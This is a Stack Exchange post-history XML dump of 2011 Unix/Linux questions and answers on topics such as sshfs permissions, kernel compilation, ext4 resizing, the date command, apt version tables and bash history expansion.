  <row Id="26964" PostHistoryTypeId="1" PostId="11128" RevisionGUID="ded5e67f-cac9-463f-9129-54ae424dd2bc" CreationDate="2011-04-12T02:04:13.207" UserId="394" Text="diff within a line" />
  <row Id="26965" PostHistoryTypeId="3" PostId="11128" RevisionGUID="ded5e67f-cac9-463f-9129-54ae424dd2bc" CreationDate="2011-04-12T02:04:13.207" UserId="394" Text="écommandölineàédiffà" />
  <row Id="26966" PostHistoryTypeId="2" PostId="11129" RevisionGUID="2c80f7dd-738d-4277-9c19-80be93b735b9" CreationDate="2011-04-12T02:21:21.690" UserId="6472" Text="Most of the time if something like your NIC is not showing up automatically you need to go to the hardware manufacturer's site, and look to see if they have a linux version.&#xD;&#xA;&#xD;&#xA;In more general terms, linux drivers tend to take the form of libraries or modules." />
  <row Id="26968" PostHistoryTypeId="5" PostId="11117" RevisionGUID="fd628057-a90f-43f5-b931-d5e60922bf51" CreationDate="2011-04-12T02:26:05.183" UserId="2630" Comment="added 713 characters in body; added 1 characters in body" Text="I am connecting to a remote server over SSH but am running into a permissions issue. &#xD;&#xA;&#xD;&#xA;My remote account is `thelq` and primarily part of the group `thelq`. I'm also part of the generic group `users`. Another remote account called `game` is primarily part of the group `users`. On the remote server I can freely view and edit all of `game`'s files. However on the local server I'm apparently not part of the `users` group. Strangely explicitly specifying the `users` group for the gid option still doesn't allow me access to the `users` group&#xD;&#xA;&#xD;&#xA;Example of what I tried in command line:&#xD;&#xA;&#xD;&#xA;    [thelq@quackwall ~]$ sshfs -o idmap=user -o uid=1000 -o gid=1000 -o allow_other -o default_permissions quackgame:/home game-home       &#xD;&#xA;    thelq@quackgame's password:&#xD;&#xA;    [thelq@quackwall ~]$ echo something &gt;&gt; game-home/game/INIT-SETUP&#xD;&#xA;    bash: game-game/game/INIT-SETUP: Permission denied&#xD;&#xA;&#xD;&#xA;I'm confused on what else to do as Linux permissions are not my strong point. I was thinking that longing in as me on the remote machine would allow me access to everything the groups says I can but apparently not. &#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;As per @penguin359's request&#xD;&#xA;&#xD;&#xA;    [thelq@quackwall ~]$ ls -ld game-home&#xD;&#xA;    drwxr-xr-x 2 thelq allusers 4096 Apr  5 19:06 game-home&#xD;&#xA;    [thelq@quackwall ~]$ sshfs quackgame:/home game-home&#xD;&#xA;    thelq@quackgame's password:&#xD;&#xA;    [thelq@quackwall ~]$ ls -ld game-home&#xD;&#xA;    drwxr-xr-x 1 root root 4096 Jan  5 18:20 game-home&#xD;&#xA;    [thelq@quackwall ~]$ ssh quackgame id&#xD;&#xA;    thelq@quackgame's password:&#xD;&#xA;    uid=1000(thelq) gid=1000(thelq) groups=1000(thelq),4(adm),20(dialout),24(cdrom),46(plugdev),100(users),107(sambashare),109(lpadmin),110(admin)&#xD;&#xA;    [thelq@quackwall ~]$ ssh quackgame ls -ld /home/game&#xD;&#xA;    thelq@quackgame's password:&#xD;&#xA;    drwxr-xr-x 11 game users 4096 2011-04-11 21:59 /home/game" />
  <row Id="26969" PostHistoryTypeId="2" PostId="11131" RevisionGUID="20803d35-9011-4834-8bf7-a42493f1ceb9" CreationDate="2011-04-12T02:29:00.483" UserId="6472" Text="If I'm reading your question correctly, I use diff -y for this kind of thing.&#xD;&#xA;&#xD;&#xA;It makes comparing a side by side comparison much simpler to find which lines are throwing the differences." />
  <row Id="26970" PostHistoryTypeId="2" PostId="11132" RevisionGUID="487bfd7f-ad63-427a-a2c0-9b61b1354084" CreationDate="2011-04-12T02:34:23.743" UserId="6516" Text="What I recommend you, is Debian. It's stable and runs well on most architechture.&#xD;&#xA;&#xD;&#xA;I have myself Debian on my iBook G4 (30Gb HDD, 256 MB RAM), what could use most of your memory, is the desktop manager. If you only browse on the internet, check emails, chat with some friends, you could install GNOME. If you need more memory, I recommend you Fluxbox, it's a lightweight desktop manager, but it's not easy to use (not always user-friendly).&#xD;&#xA;&#xD;&#xA;I've tried Ubuntu, but it's not as lightweight and stable as Debian...But it's more beautiful :)&#xD;&#xA;&#xD;&#xA;It's your personal choice, it depends on what you need." />
  <row Id="26971" PostHistoryTypeId="2" PostId="11133" RevisionGUID="327db370-89a8-4424-9a31-6f7c134c5a71" CreationDate="2011-04-12T02:46:31.210" UserId="4856" Text="Drivers are very similar to any other program, they can be comprised of multiple source files. Linux devices drivers can be directly compiled into the kernel or a kernel module. Kernel modules have the benefit of being able to be loaded dynamically (i.e. you don't need to compile a new kernel to use them).&#xD;&#xA;&#xD;&#xA;You can obviously always look at the Linux source code, but that can be a daunting task at first. However, as with anything in Linux drivers are files. That means other programs access them via the VFS interface. For example, you can control the CDROM via `ioctl()` calls using its device file.&#xD;&#xA;&#xD;&#xA;I would highly recommend checking out [Linux Device Drivers][1]. It's freely available and will answer your questions. In particular, you can read through chapter 2 which shows you how to create a simple &quot;Hello, Kernel&quot; module. It may be far more than you are asking for, but you can read the bits and pieces you are interested in. And its free. ;P&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lwn.net/Kernel/LDD3/" />
  <row Id="26972" PostHistoryTypeId="2" PostId="11134" RevisionGUID="e0c19158-d0a4-499c-878c-e40c09314301" CreationDate="2011-04-12T02:47:09.677" UserId="6149" Text="Linux drivers are built with the kernel, compiled in or as a module.  Alternatively, drivers can be built against the kernel headers in a source tree.  You can see a list of currently installed kernel modules by typing `lsmod` and, if installed, take a look at most devices connected through the bus by using `lspci`.&#xD;&#xA;&#xD;&#xA;If the current kernel version does not have driver support for your NIC, you'll need to find drivers at the vendor and you'll need to compile a kernel module from source (against your kernel's headers)." />
  <row Id="26973" PostHistoryTypeId="2" PostId="11135" RevisionGUID="c9998e79-11e0-468b-917b-619c5824cf5d" CreationDate="2011-04-12T02:58:02.287" UserId="6516" Text="You could use `e2fsprogs`, there is a version that is usable with ext4.&#xD;&#xA;&#xD;&#xA;Make yourself superuser:&#xD;&#xA;&#xD;&#xA;`# su`&#xD;&#xA;&#xD;&#xA;Unmount your drive:&#xD;&#xA;&#xD;&#xA;`# umount /dev/sda1`&#xD;&#xA;&#xD;&#xA;Remove the journal of your drive:&#xD;&#xA;&#xD;&#xA;`# tune2fs -O ^has_journal /dev/sda1`&#xD;&#xA;&#xD;&#xA;And then resize your file system:&#xD;&#xA;&#xD;&#xA;`# resize2fs /dev/sda1 30G`" />
  <row Id="26974" PostHistoryTypeId="2" PostId="11136" RevisionGUID="4c321848-c809-44ad-9db7-36cb0e9d1ed5" CreationDate="2011-04-12T03:02:57.947" UserId="3519" Text="On the command line, I would make sure I add judicious new-lines before comparing files. You can use sed, awk, perl or anything really to add line breaks in some sort of systematic way - make sure not to add too many though.&#xD;&#xA;&#xD;&#xA;But I find the best is to use vim as it highlights word differences. vim is good if there are not too many differences and the differences are simple." />
  <row Id="26975" PostHistoryTypeId="2" PostId="11137" RevisionGUID="7424a99f-32a2-4a0f-82eb-d1b588f0212e" CreationDate="2011-04-12T03:04:32.527" UserId="3852" Text="I've used `vimdiff` for this. &#xD;&#xA;&#xD;&#xA;[Here's a screenshot][1] (not mine) showing minor one or two character differences that stands out pretty well. A [quick tutorial too][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.math.bas.bg/bantchev/vim/vimdiff-clue.png&#xD;&#xA;  [2]: http://amjith.blogspot.com/2008/08/quick-and-dirty-vimdiff-tutorial.html" />
  <row Id="26976" PostHistoryTypeId="25" PostId="11127" RevisionGUID="24188ed0-dfd2-4306-84a3-afdf56046cb3" CreationDate="2011-04-12T03:09:06.800" Comment="http://twitter.com/#!/StackUnix/status/57641364749434880" />
  <row Id="26977" PostHistoryTypeId="2" PostId="11138" RevisionGUID="dc2568f9-d0c9-4b15-a255-42efa15f6f3e" CreationDate="2011-04-12T03:48:29.683" UserId="6519" Text="You can also use readlink to find the physical path to this directory, then go one directory higher:&#xD;&#xA;&#xD;&#xA;    cd $(readlink -f .)/.." />
  <row Id="26978" PostHistoryTypeId="17" PostId="11140" RevisionGUID="4345b809-68e9-4984-afe8-64bf48f0388b" CreationDate="2011-04-12T04:24:28.990" UserId="-1" Comment="from http://stackoverflow.com/questions/5630048/setting-linux-time/5630089#5630089" Text="" />
  <row Id="26979" PostHistoryTypeId="17" PostId="11141" RevisionGUID="d8dc88d8-8b04-46cc-bee5-f3a53328c259" CreationDate="2011-04-12T04:24:28.990" UserId="-1" Comment="from http://stackoverflow.com/questions/5630048/setting-linux-time/5630090#5630090" Text="" />
  <row Id="26980" PostHistoryTypeId="2" PostId="11140" RevisionGUID="4626708e-341e-41c2-bfa2-5d734808f77d" CreationDate="2011-04-12T03:29:21.913" UserDisplayName="chrisaycock" Text="The `date` format is:&#xD;&#xA;&#xD;&#xA;    MMDDhhmm[[CC]YY][.ss]&#xD;&#xA;&#xD;&#xA;So your above example can be read as:&#xD;&#xA;&#xD;&#xA;    12:49:00 04-26-2005&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;By the way, that first line sets the *system time* while the second line sets the *hardware clock*. See [this explanation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/HOWTO/Clock-2.html" />
  <row Id="26981" PostHistoryTypeId="2" PostId="11141" RevisionGUID="575adc64-3b16-4280-b4bc-de96901e56c5" CreationDate="2011-04-12T03:29:26.203" UserId="3724" Text="More the likely, you type it in. In `man date` you can see it take the format `[MMDDhhmm[[CC]YY][.ss]]`&#xD;&#xA;&#xD;&#xA;So the above would read 12:49 PM April 26, 2005 &#xD;&#xA;&#xD;&#xA;Right now , in Texas it is 041122292011 (10:29 PM April 11, 2011)" />
  <row Id="26982" PostHistoryTypeId="2" PostId="11139" RevisionGUID="266c3783-69db-4dba-bcd6-ab0223dbbc9f" CreationDate="2011-04-12T03:22:59.007" UserDisplayName="gdb" Text="    $ date 042612492005&#xD;&#xA;    $ hwclock -w&#xD;&#xA;&#xD;&#xA;The code above shows how to set the system time, but how's the timestamp string generated in the first place?&#xD;&#xA;" />
  <row Id="26983" PostHistoryTypeId="1" PostId="11139" RevisionGUID="266c3783-69db-4dba-bcd6-ab0223dbbc9f" CreationDate="2011-04-12T03:22:59.007" UserDisplayName="gdb" Text="Setting linux time" />
  <row Id="26984" PostHistoryTypeId="3" PostId="11139" RevisionGUID="266c3783-69db-4dba-bcd6-ab0223dbbc9f" CreationDate="2011-04-12T03:22:59.007" UserDisplayName="gdb" Text="éuntaggedà" />
  <row Id="26985" PostHistoryTypeId="17" PostId="11139" RevisionGUID="6b89f56b-b0ad-4156-bdcd-6e1540618c3a" CreationDate="2011-04-12T04:24:28.990" UserId="-1" Comment="from http://stackoverflow.com/questions/5630048/setting-linux-time" Text="" />
  <row Id="26986" PostHistoryTypeId="2" PostId="11142" RevisionGUID="50d8f829-179a-4d51-aee5-f7233aff2ec9" CreationDate="2011-04-12T04:35:25.260" UserId="1290" Text="I can only talk from experience, so it probably doesn't encompass projects the size of yours.&#xD;&#xA;I use [Code::Blocks][1] for development in C and C++.&#xD;&#xA;&#xD;&#xA;The general Idea however, is to make clever use of things like [git], [vim], [ctags], etc., and keep everything unbound to a specific IDE. The trick is, not to force developers to use a certain IDE. Everyone on your project should use whatever development technique and programs they like.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codeblocks.org/&#xD;&#xA;  [git]: http://git-scm.com/&#xD;&#xA;  [vim]: http://www.vim.org/&#xD;&#xA;  [ctags]: http://ctags.sourceforge.net/" />
  <row Id="26987" PostHistoryTypeId="5" PostId="11142" RevisionGUID="0b053fd3-fe22-4859-ba37-5673b6ca5c82" CreationDate="2011-04-12T04:43:53.400" UserId="1290" Comment="added 155 characters in body" Text="I can only talk from experience, so it probably doesn't encompass projects the size of yours.&#xD;&#xA;I use [Code::Blocks][1] for development in C and C++.&#xD;&#xA;&#xD;&#xA;The general Idea however, is to make clever use of things like [git], [vim], [ctags], etc., and keep everything unbound to a specific IDE. The trick is, not to force developers to use a certain IDE. Everyone on your project should use whatever development technique and programs they like.&#xD;&#xA;&#xD;&#xA;As for managing large amounts of files, let the filesystem do the job. Make use of folders and descriptive files, as well as comments inside your code.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codeblocks.org/&#xD;&#xA;  [git]: http://git-scm.com/&#xD;&#xA;  [vim]: http://www.vim.org/&#xD;&#xA;  [ctags]: http://ctags.sourceforge.net/" />
  <row Id="26988" PostHistoryTypeId="2" PostId="11143" RevisionGUID="9b927bff-e5ef-4fbe-a797-a44407844e3e" CreationDate="2011-04-12T04:53:37.810" UserId="1290" Text="I tried compiling a kernel from sources that I got from kernel.org (mainline) with `make allyesconfig` and `make allmodconfig`, but both builds resulted in a kernel, that won't boot.&#xD;&#xA;&#xD;&#xA;I was thinking, that by compiling everything, It should work on close to any hardware. What am I doing wrong?&#xD;&#xA;&#xD;&#xA;And how do I compile a working kernel?" />
  <row Id="26989" PostHistoryTypeId="1" PostId="11143" RevisionGUID="9b927bff-e5ef-4fbe-a797-a44407844e3e" CreationDate="2011-04-12T04:53:37.810" UserId="1290" Text="How to compile a decent kernel from kernel.org?" />
  <row Id="26990" PostHistoryTypeId="3" PostId="11143" RevisionGUID="9b927bff-e5ef-4fbe-a797-a44407844e3e" CreationDate="2011-04-12T04:53:37.810" UserId="1290" Text="élinuxàékernelàécompilingà" />
  <row Id="26991" PostHistoryTypeId="2" PostId="11144" RevisionGUID="5ba11263-7289-487e-b811-162c5a896c3d" CreationDate="2011-04-12T05:46:46.120" UserId="1946" Text="There's [wdiff][1], the word-diff for that.&#xD;&#xA;&#xD;&#xA;On desktop, [meld][2] can highlight the differences within a line for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/wdiff/&#xD;&#xA;  [2]: http://meld.sourceforge.net" />
  <row Id="26993" PostHistoryTypeId="25" PostId="11139" RevisionGUID="51e81888-b732-4381-9c75-4d44285a7e55" CreationDate="2011-04-12T06:09:06.733" Comment="http://twitter.com/#!/StackUnix/status/57686663467503616" />
  <row Id="26994" PostHistoryTypeId="2" PostId="11146" RevisionGUID="2337d0ad-db37-456e-8c5d-4299c9757a67" CreationDate="2011-04-12T06:31:05.970" UserId="1594" Text="I did `chown -R /usr`. Somehow, I thought it was a good idea.&#xD;&#xA;Subsequently, a puppet script did some bad stuff, and somehow I lost sudo right.&#xD;&#xA;&#xD;&#xA;Our qualified sysadmin wasn't able to recover my sudo right, and I had to re-image the machine." />
  <row Id="26995" PostHistoryTypeId="5" PostId="11088" RevisionGUID="27616480-42a5-4fde-afed-fe1850af6bb0" CreationDate="2011-04-12T06:31:57.887" UserId="1594" Comment="added 167 characters in body" Text="**Edit** - please see this [duplicate question][1].&#xD;&#xA;&#xD;&#xA;I just chowned -R my /usr folder, which totally corrupted my computer (not sure how, but I lost sudo power eventually). This seems like a horrible newb mistake.&#xD;&#xA;&#xD;&#xA;Are there other ones I should avoid?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/502/what-are-your-favorite-painful-unix-moments/11146#11146" />
  <row Id="26996" PostHistoryTypeId="2" PostId="11147" RevisionGUID="afd2afd3-799e-4394-8153-311c2edeed75" CreationDate="2011-04-12T06:41:40.623" UserId="688" Text="I recently got this this surprising result:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    evolution-data-server-common:&#xD;&#xA;      Installed: 2.30.3-2&#xD;&#xA;      Candidate: 2.30.3-2&#xD;&#xA;      Version table:&#xD;&#xA;         3.0.0-1 0&#xD;&#xA;            -10 http://debian.mirror.ac.za/debian/ experimental/main i386 Packages&#xD;&#xA;         2.91.92-1 0&#xD;&#xA;            -10 http://debian.mirror.ac.za/debian/ experimental/main i386 Packages&#xD;&#xA;         2.32.2-4 0&#xD;&#xA;            -10 http://debian.mirror.ac.za/debian/ wheezy/main i386 Packages&#xD;&#xA;            -10 http://debian.mirror.ac.za/debian/ unstable/main i386 Packages&#xD;&#xA;     *** 2.30.3-2 0&#xD;&#xA;            900 file:/home/wena/.repo_bin/ stable/main i386 Packages&#xD;&#xA;            900 http://debian.mirror.ac.za/debian/ squeeze/main i386 Packages&#xD;&#xA;            100 /var/lib/dpkg/status&#xD;&#xA;&#xD;&#xA;That implies that I have the same version of `evolution-data-server-common` in Experimental, which I thought wasn't 'possible'. What's happening? Is this a bug maybe?" />
  <row Id="26997" PostHistoryTypeId="1" PostId="11147" RevisionGUID="afd2afd3-799e-4394-8153-311c2edeed75" CreationDate="2011-04-12T06:41:40.623" UserId="688" Text="Duplicate package versions is same repo?" />
  <row Id="26998" PostHistoryTypeId="3" PostId="11147" RevisionGUID="afd2afd3-799e-4394-8153-311c2edeed75" CreationDate="2011-04-12T06:41:40.623" UserId="688" Text="éaptà" />
  <row Id="26999" PostHistoryTypeId="2" PostId="11148" RevisionGUID="df58dd7d-3e3f-4be0-951b-4470c1f2a302" CreationDate="2011-04-12T06:55:48.947" UserId="5430" Text="I have done something stupid and messed up my Debian Squeeze installation. Now, the problem is I have enough data and sowftware installations which I dont want to repeat, is it possible to reinstall the OS and still somehow save and maintain data on my box?" />
  <row Id="27000" PostHistoryTypeId="1" PostId="11148" RevisionGUID="df58dd7d-3e3f-4be0-951b-4470c1f2a302" CreationDate="2011-04-12T06:55:48.947" UserId="5430" Text="Is it possible to reinstall Debian afresh and retain all the cutomisation and data from existing installation?" />
  <row Id="27001" PostHistoryTypeId="3" PostId="11148" RevisionGUID="df58dd7d-3e3f-4be0-951b-4470c1f2a302" CreationDate="2011-04-12T06:55:48.947" UserId="5430" Text="édebianàésystemöinstallationàéreinstallà" />
  <row Id="27003" PostHistoryTypeId="2" PostId="11150" RevisionGUID="cb12ceb3-9d76-4c6b-a2cb-b912bc1879fe" CreationDate="2011-04-12T07:07:50.977" UserId="2421" Text="One thing you can do is boot a working kernel, run `lsmod`, and make sure that all the modules listed are turned on in your config (either built-in or as modules).&#xD;&#xA;&#xD;&#xA;It's easiest to start with a working config, and then tweak it.  If you're lucky, your distribution ships the config file along with the kernel.  For example, in Ubuntu you'll find it in /boot/config-_version_.  Copy that file into your new kernel directory and name it `.config`.  If it's for an older kernel, you can try `make oldconfig` to be asked only about new options.  In general, accept the default answer for everything unless you know what it is." />
  <row Id="27004" PostHistoryTypeId="4" PostId="11067" RevisionGUID="315436b7-c3af-4f39-934b-3b762e7e59cf" CreationDate="2011-04-12T07:08:27.847" UserId="688" Comment="edited title" Text="Is there a way to modify a file in-place?" />
  <row Id="27005" PostHistoryTypeId="2" PostId="11151" RevisionGUID="8d303b13-b62d-402f-9465-fd2b4bbea965" CreationDate="2011-04-12T07:21:38.370" UserId="3169" Text="How does it imply that?&#xD;&#xA;&#xD;&#xA;Line 2&#xD;&#xA;&#xD;&#xA;      Installed: 2.30.3-2&#xD;&#xA;&#xD;&#xA;says you have 2.30.3-2.&#xD;&#xA;&#xD;&#xA;And the last 4 lines&#xD;&#xA;&#xD;&#xA;     *** 2.30.3-2 0&#xD;&#xA;            900 file:/home/wena/.repo_bin/ stable/main i386 Packages&#xD;&#xA;            900 http://debian.mirror.ac.za/debian/ squeeze/main i386 Packages&#xD;&#xA;            100 /var/lib/dpkg/status&#xD;&#xA;&#xD;&#xA;say that version 2.30.3-2 comes from stable." />
  <row Id="27006" PostHistoryTypeId="5" PostId="11147" RevisionGUID="b8ba6ae8-a126-4909-9823-0527edb677b3" CreationDate="2011-04-12T07:25:52.217" UserId="688" Comment="added 6 characters in body; edited title" Text="I recently got this this surprising result:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    evolution-data-server-common:&#xD;&#xA;      Installed: 2.30.3-2&#xD;&#xA;      Candidate: 2.30.3-2&#xD;&#xA;      Version table:&#xD;&#xA;         3.0.0-1 0&#xD;&#xA;            -10 http://debian.mirror.ac.za/debian/ experimental/main i386 Packages&#xD;&#xA;         2.91.92-1 0&#xD;&#xA;            -10 http://debian.mirror.ac.za/debian/ experimental/main i386 Packages&#xD;&#xA;         2.32.2-4 0&#xD;&#xA;            -10 http://debian.mirror.ac.za/debian/ wheezy/main i386 Packages&#xD;&#xA;            -10 http://debian.mirror.ac.za/debian/ unstable/main i386 Packages&#xD;&#xA;     *** 2.30.3-2 0&#xD;&#xA;            900 file:/home/wena/.repo_bin/ stable/main i386 Packages&#xD;&#xA;            900 http://debian.mirror.ac.za/debian/ squeeze/main i386 Packages&#xD;&#xA;            100 /var/lib/dpkg/status&#xD;&#xA;&#xD;&#xA;That implies that I have the different versions of `evolution-data-server-common` in Experimental, which I thought wasn't 'possible'. What's happening? Is this a bug maybe?" />
  <row Id="27007" PostHistoryTypeId="4" PostId="11147" RevisionGUID="b8ba6ae8-a126-4909-9823-0527edb677b3" CreationDate="2011-04-12T07:25:52.217" UserId="688" Comment="added 6 characters in body; edited title" Text="Different package versions in same suite?" />
  <row Id="27008" PostHistoryTypeId="5" PostId="11151" RevisionGUID="64534561-b5fc-4f4f-b6e9-79cb9b204003" CreationDate="2011-04-12T07:44:16.813" UserId="3169" Comment="added 1730 characters in body; deleted 1374 characters in body" Text="Have a look in the [Packages file](http://debian.mirror.ac.za/debian/dists/experimental/main/binary-i386/Packages.gz).&#xD;&#xA;&#xD;&#xA;It will be so that you can have Gnome 2 or Gnome 3.&#xD;&#xA;&#xD;&#xA;`apt-cache rdepends evolution-data-server-common` may also help.&#xD;&#xA;&#xD;&#xA;    Package: evolution-data-server-common&#xD;&#xA;    Priority: optional&#xD;&#xA;    Section: gnome&#xD;&#xA;    Source: evolution-data-server&#xD;&#xA;    Version: 2.91.92-1&#xD;&#xA;    Filename: pool/main/e/evolution-data-server/evolution-data-server-common_2.91.92-1_all.deb&#xD;&#xA;&#xD;&#xA;    Package: evolution-data-server-common&#xD;&#xA;    Priority: optional&#xD;&#xA;    Section: gnome&#xD;&#xA;    Source: evolution-data-server3&#xD;&#xA;    Version: 3.0.0-1&#xD;&#xA;    Filename: pool/main/e/evolution-data-server3/evolution-data-server-common_3.0.0-1_all.deb" />
  <row Id="27009" PostHistoryTypeId="2" PostId="11152" RevisionGUID="5105dceb-8a79-4a70-8e3b-54fb5d50943a" CreationDate="2011-04-12T08:02:09.027" UserId="5495" Text="How to get the icon for a MIME type?&#xD;&#xA;I don't want to use g_file_info_get_icon() because its input parameter is a file, not a MIME type.&#xD;&#xA;&#xD;&#xA;My use case:&#xD;&#xA;&#xD;&#xA;I have a wrapper file which embeds a media object, I can get the MIME type of the media object and want to find the icon of the MIME type. And I don't want to dump the media object to a seperate file to use g_file_info_get_icon().&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Many thanks!&#xD;&#xA;&#xD;&#xA;Amanda&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27010" PostHistoryTypeId="1" PostId="11152" RevisionGUID="5105dceb-8a79-4a70-8e3b-54fb5d50943a" CreationDate="2011-04-12T08:02:09.027" UserId="5495" Text="How to get the icon for a MIME type?" />
  <row Id="27011" PostHistoryTypeId="3" PostId="11152" RevisionGUID="5105dceb-8a79-4a70-8e3b-54fb5d50943a" CreationDate="2011-04-12T08:02:09.027" UserId="5495" Text="émimeötypesàéiconsà" />
  <row Id="27012" PostHistoryTypeId="2" PostId="11153" RevisionGUID="83a7cca9-933c-4b73-b830-0176f05bfa7a" CreationDate="2011-04-12T08:15:50.770" UserId="688" Text="If you don't mind acting like a cowboy (and I have never tried this):&#xD;&#xA;&#xD;&#xA;* Back up your `/etc` and `/home` directories (and next time, put your homedir in a separate partition). Do the same with anything else you changed outside those two directories.&#xD;&#xA;* Do a fresh install.&#xD;&#xA;* Restore your backups. The system-wide config dir, `/etc`, should be overwritten by this action. As for home, there's no risk at all restoring, assuming you are going to be logging in as the same username (and assuming that this was the first user you created during both installations)." />
  <row Id="27013" PostHistoryTypeId="2" PostId="11154" RevisionGUID="ada29d53-03e8-41dc-b2b3-814f94827277" CreationDate="2011-04-12T08:23:07.873" UserId="4335" Text="I was playing with `echo $$` a while back. Well that displays that pid of the shell. But then I did `echo !` which promptly displayed !. Then `echo !!` produced&#xD;&#xA;&#xD;&#xA;    echo echo !&#xD;&#xA;    echo !&#xD;&#xA;`$echo !!!` gave&#xD;&#xA;&#xD;&#xA;    echo echo echo !!&#xD;&#xA;    echo echo !!&#xD;&#xA;&#xD;&#xA;I couldn't understand the outputs. As far as I know, `echo !!` gives the last command that was executed on shell. But the outputs that I get here are weird for me to understand. I use bash shell." />
  <row Id="27014" PostHistoryTypeId="1" PostId="11154" RevisionGUID="ada29d53-03e8-41dc-b2b3-814f94827277" CreationDate="2011-04-12T08:23:07.873" UserId="4335" Text="Weird output by echo" />
  <row Id="27015" PostHistoryTypeId="3" PostId="11154" RevisionGUID="ada29d53-03e8-41dc-b2b3-814f94827277" CreationDate="2011-04-12T08:23:07.873" UserId="4335" Text="ébashàéechoà" />
  <row Id="27016" PostHistoryTypeId="2" PostId="11155" RevisionGUID="f5028639-27d2-4454-86fd-8a3551d8cc21" CreationDate="2011-04-12T08:27:57.997" UserId="4949" Text="Before you jump on a reinstall, please check if you're using the `unstable` tree and recently updated `udev`. See [this bug report][1] for details, but essentially a major bug in udev managed to sneak by the maintainer that rendered most peripherals unusable; updating udev again should fix it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=621036" />
  <row Id="27017" PostHistoryTypeId="2" PostId="11156" RevisionGUID="3e55a0ae-7542-448a-b511-d877f44e8ed9" CreationDate="2011-04-12T08:30:32.517" UserId="3645" Text="As [others][1] have pointed out, color codes in `PS1` should be bracketed by `\[` and `\]` to avoid them taking up horizontal space. I've added the necessary code to [`.bashrc`][2]:&#xD;&#xA;&#xD;&#xA;    highlight()&#xD;&#xA;    {&#xD;&#xA;        if [ -x /usr/bin/tput ]&#xD;&#xA;        then&#xD;&#xA;            printf '\['&#xD;&#xA;            tput bold&#xD;&#xA;            printf '\]'&#xD;&#xA;            printf '\['&#xD;&#xA;            tput setaf $1&#xD;&#xA;            printf '\]'&#xD;&#xA;        fi&#xD;&#xA;        shift&#xD;&#xA;        printf -- &quot;$@&quot;&#xD;&#xA;        if [ -x /usr/bin/tput ]&#xD;&#xA;        then&#xD;&#xA;            printf '\['&#xD;&#xA;            tput sgr0&#xD;&#xA;            printf '\]'&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    highlight_error()&#xD;&#xA;    {&#xD;&#xA;        highlight 1 &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The last function is used in `PS1` in both normal and escaped command substitutions to be able to change the string based on the result of the previous command:&#xD;&#xA;&#xD;&#xA;    # Exit code&#xD;&#xA;    PS1=&quot;\$(exit_code=\${?#0}&#xD;&#xA;    highlight_error \&quot;\${exit_code}\${exit_code:+ }\&quot;)&quot;&#xD;&#xA;    &#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    if [ &quot;$USER&quot; == 'root' ]&#xD;&#xA;    then&#xD;&#xA;        PS1=&quot;${PS1}$(highlight_error '\u')&quot;&#xD;&#xA;    else&#xD;&#xA;        PS1=&quot;${PS1}\u&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;The issue is then that the escaped brackets are output as literals, so my prompt looks like this after running a command which doesn't exist:&#xD;&#xA;&#xD;&#xA;    \[\]\[\]127 \[\]user@machine:/path&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;Wrapping the escaped `highlight_error` in `printf %b` didn't help. How can I fix the output so that I can **use the functions for both normal and escaped command substitutions**?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/BashFAQ/053&#xD;&#xA;  [2]: https://github.com/l0b0/tilde/blob/master/.bashrc" />
  <row Id="27018" PostHistoryTypeId="1" PostId="11156" RevisionGUID="3e55a0ae-7542-448a-b511-d877f44e8ed9" CreationDate="2011-04-12T08:30:32.517" UserId="3645" Text="Re-escape brackets in PS1" />
  <row Id="27019" PostHistoryTypeId="3" PostId="11156" RevisionGUID="3e55a0ae-7542-448a-b511-d877f44e8ed9" CreationDate="2011-04-12T08:30:32.517" UserId="3645" Text="ébashàéescapeöcharactersàéps1à" />
  <row Id="27020" PostHistoryTypeId="2" PostId="11157" RevisionGUID="cb1a20b5-79ee-4b6c-95cb-38cf43076ce7" CreationDate="2011-04-12T08:42:25.180" UserId="1170" Text="The history event designator `!!` is replaced by the last command in history. Bash then first prints out the command how it will be executed, then executes it.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ foo&#xD;&#xA;    foo: command not found&#xD;&#xA;    $ !!&#xD;&#xA;    foo&#xD;&#xA;    foo: command not found&#xD;&#xA;&#xD;&#xA;In your case:&#xD;&#xA;&#xD;&#xA;    $ echo !&#xD;&#xA;    !&#xD;&#xA;    $ echo !!&#xD;&#xA;    echo echo !         # command to be executed&#xD;&#xA;    echo !              # result of execution&#xD;&#xA;    $ echo !!!&#xD;&#xA;    echo echo echo !!   # command to be executed&#xD;&#xA;    echo echo !!        # result of execution&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27021" PostHistoryTypeId="2" PostId="11158" RevisionGUID="cf5f44a8-7b77-46b5-b609-ebed574f6ba4" CreationDate="2011-04-12T08:43:25.600" UserId="5978" Text="If you use `!!` that it is **substituted** by the **last command** in the shell, so the **first line** is the to **show the substitution** `echo echo !` and the **second** one is the **output** `echo !`" />
  <row Id="27022" PostHistoryTypeId="25" PostId="11154" RevisionGUID="74aaa62e-c12a-4e26-9a9f-ca80ec4c5d56" CreationDate="2011-04-12T09:09:06.760" Comment="http://twitter.com/#!/StackUnix/status/57731960965046272" />
